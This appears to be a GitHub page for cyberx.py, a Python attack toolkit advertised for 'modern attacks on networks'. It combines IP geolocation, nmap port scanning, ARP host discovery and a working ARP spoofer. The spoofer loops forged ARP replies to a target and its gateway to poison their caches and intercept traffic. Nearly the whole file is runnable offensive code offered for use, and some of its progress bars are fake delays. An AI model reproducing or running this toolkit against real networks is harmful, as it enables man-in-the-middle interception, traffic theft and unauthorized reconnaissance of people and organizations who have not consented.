-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcyberx.py
More file actions
291 lines (235 loc) · 8.17 KB
/
cyberx.py
File metadata and controls
291 lines (235 loc) · 8.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
import os
# from termcolor import colored,cprint
import sys
import requests
import socket
import json
import nmap
from nmap import PortScanner
import scapy.all as scapy
import argparse
import time
from pyfiglet import figlet_format
from rich.console import Console
from os import walk
from rich.progress import Progress,track
def astdisplay():
con = Console()
con.print("HELLO WORLD", style="bold green")
# banner
# big
# block
# bubble
# circle
# digital
# emboss
# emboss2
# future
# ivrit
# lean
# letter
# mini
# mnemonic
# pagga
# script
# shadow
# slant
# small
# smblock
# smbraille
# smscript
# smshadow
# smslant
# standard
# term
# wideterm
banner = figlet_format("C Y B E R X", font="slant")
# then printing that out with rich console and a little intro
con.print(banner,"MODERN ATTACKS ON NETWORKS ",
style="bold red")
def web_hacking():
con = Console()
for x in track(range(100),"STARTING NETWORK SCAN "):
time.sleep(0.1)
for i in track(range(100),"GATHERING INFORMATION FORM IP "):
time.sleep(0.1)
for v in track(range(100),"GENERATING ATTACK ON NETWORK "):
time.sleep(0.1)
for w in track(range(100),"SHOWING RESULTS "):
time.sleep(0.1)
def display_result(result):
print("-----------------------------------\nIP Address\tMAC Address\n-----------------------------------")
for i in result:
print("{}\t{}".format(i["ip"], i["mac"]))
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', dest='target', help='Target IP Address/Adresses')
options = parser.parse_args()
# Check for errors i.e if the user does not specify the target IP Address
# Quit the program if the argument is missing
# While quitting also display an error message
if not options.target:
# Code to handle if interface is not specified
parser.error("[-] Please specify an IP Address or Addresses, use --help for more info.")
return options
def scan(ip):
arp_req_frame = scapy.ARP(pdst=ip)
# print(scapy.ls(scapy.ARP()))
broadcast_ether_frame = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
broadcast_ether_arp_req_frame = broadcast_ether_frame / arp_req_frame
answered_list = scapy.srp(broadcast_ether_arp_req_frame, timeout=1, verbose=False)[0]
result = []
for i in range(0, len(answered_list)):
client_dict = {"ip": answered_list[i][1].psrc, "mac": answered_list[i][1].hwsrc}
result.append(client_dict)
return result
def location(option):
req = requests.get("https://" + option)
print(req)
gethostby = socket.gethostbyname(option)
print("\nThe IP address of " + option + " is: " + gethostby + "\n")
# ipinfo.io
req_two = requests.get("https://ipinfo.io/" + gethostby + "/json")
resp_ = json.loads(req_two.text)
print("location " + resp_['loc'])
print("region " + resp_['region'])
print("City: " + resp_['city'])
print("Country: " + resp_['country'])
def portscan(user_input):
target = str(user_input)
while True:
print("""
1. Scan All Known Ports
2. Enter ports Manually
""")
choice = input("Your choice here : ")
try:
if choice =="1":
ports = [21, 22, 80, 139, 443, 8080, 27]
break
if choice == "2":
while True:
strq = input("please enter ports separated by commas e.g 21,22,80: ")
try:
ans = strq.split(',')
ports = [int(port) for port in ans]
break
except:
print("Please separate your entries with commas ")
continue
except:
print("Choose correct option !")
continue
target = socket.gethostbyname(user_input)
scan_v = PortScanner()
print("\nScanning", target, ports)
web_hacking()
for port in ports:
portscan = scan_v.scan(target, str(port))
print("Port", port, "is", portscan['scan'][target]['tcp'][port]['state'])
print("\nHost", target, " is ", portscan['scan'][target]['status']['state'])
# def get_arguments():
# parser = argparse.ArgumentParser()
# parser.add_argument("-t", "--target", dest="target", help="Specify target ip")
# parser.add_argument("-g", "--gateway", dest="gateway", help="Specify spoof ip")
# return parser.parse_args()
def get_mac(ip):
# arp_packet = scapy.ARP(pdst=ip)
# broadcast_packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
# arp_broadcast_packet = broadcast_packet/arp_packet
# answered_list = scapy.srp(arp_broadcast_packet, timeout=1, verbose=False)[0]
# return answered_list[0][1].hwsrc
mac = "xx"
while mac == "xx":
try:
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
mac = answered_list[0][1].hwsrc
# print(mac)
except:
pass
finally:
return mac
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, 4)
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def main():
if os.geteuid() != 0:
exit("You need to have root privileges to run this script.\nPlease try again, this time using 'sudo' Exiting.")
if len(sys.argv) > 1 and len(sys.argv) < 2:
if sys.argv[1] == '--help':
print("""
cyberx.py --<Function to user>
1- Geo_Locater
2- Port_Scanner
3- ARP_Scanner
4- ARP_Spoofer
""")
exit()
elif len(sys.argv) < 2:
print("""
python cyberx.py --<Function to user>
1- Geo_Locater
2- Port_Scanner
3- ARP_Scanner
4- ARP_Spoofer
""")
exit()
else:
i = (sys.argv[1])
astdisplay()
if i == '--Geo_Locater':
option = input("Enter IP Address / URL : ")
web_hacking()
location(option)
elif i == '--Port_Scanner':
options = input("Enter IP Address / URL : ")
portscan(options)
elif i == '--ARP_Scanner':
while True:
options = input("Enter ip address/ip address seprated by ',' | or Enter URL : ")
web_hacking()
try:
ans = options.split(',')
for ip in ans:
print(ip)
scanned_output = scan(ip)
display_result(scanned_output)
break
except:
try:
gethostby = socket.gethostbyname(options)
for ip in ans:
print(ip)
scanned_output = scan(ip)
display_result(scanned_output)
except:
continue
elif i == '--ARP_Spoofer':
target = input("Enter Target : ")
gateway = input("Enter Gateway: ")
sent_packets = 0
for x in track(range(100), "Spoofing ARP "):
time.sleep(0.1)
try:
while True:
spoof(target,gateway)
spoof(gateway,target)
sent_packets += 2
print("\r[+] Sent packets: " + str(sent_packets))
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("\n[-] Ctrl + C detected.....Restoring ARP Tables Please Wait!")
try:
main()
except KeyboardInterrupt:
print("\n[-] Ctrl + C detected.....Exiting")